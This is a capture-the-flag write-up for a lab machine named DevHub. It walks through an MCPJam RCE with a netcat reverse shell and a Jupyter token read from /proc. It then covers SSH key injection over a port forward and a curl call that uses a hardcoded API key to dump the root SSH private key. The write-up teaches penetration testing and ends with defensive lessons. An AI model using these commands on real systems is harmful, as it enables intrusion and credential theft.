Exploited an RCE in MCPJam (CVE-2026-23744) for initial access, performed lateral movement by extracting a Jupyter Lab token from procfs and tunneling via SSH, and escalated to root by extracting hardcoded credentials to abuse a hidden endpoint in an internal Flask API.
- MCPJam
- Jupyter Lab
- Procfs
- API Abuse
Introduction
DevHub is a Linux-based machine focusing on Model Context Protocol (MCP) environments and internal API architectures. Initial access leverages a Remote Code Execution vulnerability (CVE-2026-23744) in the exposed MCPJam application. Lateral movement to the analyst user is achieved by extracting a Jupyter Lab authentication token from procfs arguments and executing code via a forwarded WebSockets session. Finally, privilege escalation to root relies on code review of an internal Python Flask API (OPSMCP) to extract hardcoded credentials and abuse a hidden debugging endpoint to exfiltrate the root SSH private key.
1. Initial Enumeration
1.1 Reconnaissance
1.1.1 Network Scanning
Execution of standard TCP and UDP port scans to map the external attack surface.
TCP Scan
nmap -sVC -p22,80,6278 -Pn -n -T4 -oN TCP.nmap devhub.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DevHub - Internal Development Platform
|_http-server-header: nginx/1.18.0 (Ubuntu)
6278/tcp filtered unknown
UDP Scan
nmap -sV -sU -T4 --top-ports 200 -oN UDPscan.nmap -Pn 10.129.2.174
(No relevant open UDP ports discovered).
1.1.2 Web Enumeration
Navigating to http://devhub.htb (TCP/80) reveals a static landing page serving as an internal index for the development team. The page leaks internal routing information, pointing to an MCP Inspector on port 6274 and an Analytics Dashboard on localhost port 8888.
Accessing the exposed port 6274 reveals the MCPJam application running version v1.4.2.
2. Initial Access (CVE-2026-23744)
MCPJam v1.4.2 is vulnerable to Remote Code Execution (CVE-2026-23744). The exploit targets the application's backend to execute arbitrary system commands.
2.1 Exploit Execution
A reverse shell payload is prepared and caught using a standard netcat listener.
# Attack Machine (Terminal 1)
nc -nvlp 4444
# Attack Machine (Terminal 2)
python3 exploit.py
listening on [any] 4444 ...
connect to [10.10.15.53] from (UNKNOWN) [10.129.2.174] 42868
2.2 Shell Stabilization
To ensure reliable execution of interactive commands (like SSH or su), the basic reverse shell is upgraded to a fully interactive TTY.
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Press Ctrl-Z to background the shell
stty raw -echo; fg
reset
export TERM=xterm
Context Verification:
mcp-dev@devhub:/opt/mcpjam/node_modules/@mcpjam/inspector$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
Initial foothold achieved as user mcp-dev.
3. Internal Enumeration
3.1 OS & Kernel Checks
Attempts to execute Kernel LPE exploits (copyfail / CVE-2026-31431 and fragnesia.c for netfilter UAF) were conducted but failed. The kernel (5.15.0-179-generic) is patched against crypto vulnerabilities, and network namespace creation (unshare(CLONE_NEWUSER)) is restricted by OS hardening policies.
3.2 Local Network Services & Processes
Focusing on internal services mapped in the initial web enumeration, socket listeners and their associated processes are analyzed.
ss -tulpn
... [SNIP] ...
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:6274 0.0.0.0:* users:(("node-MainThread",pid=1278,fd=29))
... [SNIP] ...
ps aux | grep -E "1058|1065"
... [SNIP] ...
analyst 1058 ... /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab ...
root 1065 ... /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
... [SNIP] ...
Findings:
- A Jupyter Lab instance runs locally on TCP/8888 under the
analystuser. Direct filesystem access to/home/analyst/is blocked by DAC permissions (rwxr-x---). - An internal Flask API (OPSMCP) runs locally on TCP/5000 under the
rootuser, executing a script (server.py) leveraging theanalyst's virtual environment.
4. Lateral Movement (mcp-dev -> analyst)
4.1 Token Extraction via Procfs
Jupyter Lab is often initiated with its authentication token passed as a command-line argument. The /proc/<pid>/cmdline file is world-readable, allowing for information disclosure bypassing directory permissions.
cat /proc/1058/cmdline | tr '\0' ' ' ; echo
/home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False
Recovered Token: a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7
4.2 SSH Port Forwarding
Jupyter requires WebSockets for terminal execution, meaning curl is insufficient for RCE. A local port forward must be established. To bypass the lack of the mcp-dev password, an SSH key is injected into the current session.
1. Kali Machine (Key Generation):
ssh-keygen -t ed25519 -f ~/.ssh/mcp_key -N ""
cat ~/.ssh/mcp_key.pub
2. Target Machine (Key Injection into mcp-dev):
mkdir -p ~/.ssh
echo "<PUB_KEY>" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys
3. Kali Machine (Establish Tunnel):
ssh -i ~/.ssh/mcp_key -L 8888:127.0.0.1:8888 mcp-dev@devhub.htb
4.3 Remote Code Execution via Jupyter
Navigate to http://127.0.0.1:8888/lab?token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7.
A new notebook is created to execute Python code within the analyst context. The payload writes the attacker's SSH public key into /home/analyst/.ssh/authorized_keys, securing a stable shell.
import os
pub_key = "ssh-ed25519 AAAAC3... kali@kali"
cmd = f"""
mkdir -p /home/analyst/.ssh
echo '{pub_key}' > /home/analyst/.ssh/authorized_keys
chmod 700 /home/analyst/.ssh
chmod 600 /home/analyst/.ssh/authorized_keys
"""
os.system(cmd)
print("[*] SSH Key Injected successfully.")
4.4 User Access
Authenticate directly as analyst and retrieve the user flag.
ssh -i ~/.ssh/mcp_key analyst@devhub.htb
cat user.txt
b09d8<SNIP>
5. Privilege Escalation (analyst -> root)
5.1 Internal API Code Review (OPSMCP)
With analyst privileges, now the source code of the root process listening on TCP/5000 is accessible.
cat /opt/opsmcp/server.py
Analysis of the Flask application reveals two critical architectural flaws:
1. Hardcoded API Key: Authentication relies on a static string.
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a"
2. Hidden Debug Tool (LFI / Credential Dump):
The ops._admin_dump tool is not listed in the public endpoint but can be invoked via POST request. It allows the direct exfiltration of the root SSH private key if specific parameters (target: ssh_keys, confirm: true) are provided.
elif target == "ssh_keys":
try:
with open('/root/.ssh/id_rsa', 'r') as f:
key_data = f.read()
return jsonify({
"target": "ssh_keys",
"root_private_key": key_data,
"note": "Emergency recovery key dump"
})
5.2 API Abuse & Key Exfiltration
An HTTP POST request is crafted to authenticate and trigger the hidden tool. The JSON response is piped into a Python parser to extract and format the raw RSA private key accurately, bypassing issues with JSON newline serialization.
curl -s -X POST http://127.0.0.1:5000/tools/call \
-H "X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a" \
-H "Content-Type: application/json" \
-d '{"name": "ops._admin_dump", "arguments": {"target": "ssh_keys", "confirm": true}}' | \
python3 -c "import sys, json; print(json.load(sys.stdin).get('root_private_key', ''))" > /tmp/root_id_rsa
5.3 Root Access
Secure the key permissions and SSH into the machine as root via the local interface.
chmod 600 /tmp/root_id_rsa
ssh -i /tmp/root_id_rsa root@127.0.0.1
cat /root/root.txt
632d2f<SNIP>
Conclusions
- Procfs Information Disclosure: Passing sensitive data like authentication tokens as command-line arguments is inherently insecure on Linux systems, as
/proc/<pid>/cmdlineis readable by any local user and bypasses directory-level discretionary access controls (DAC). - Jupyter RCE by Design: Gaining authenticated access to a Jupyter Lab interface provides native remote code execution in the context of the user running the service, functioning as a legitimate administrative feature that can be heavily abused during lateral movement.
- Insecure Internal APIs: The OPSMCP Python application suffered from multiple severe architectural flaws, including hardcoded authentication secrets and the exposure of an emergency credential-dumping endpoint without proper access control or privilege separation.
- Attack Chain Summary: Web RCE (CVE-2026-23744) → Procfs Token Leak → SSH Port Forwarding → Jupyter RCE → Hardcoded API Key Extraction → Internal API Abuse → Root SSH Key Exfiltration.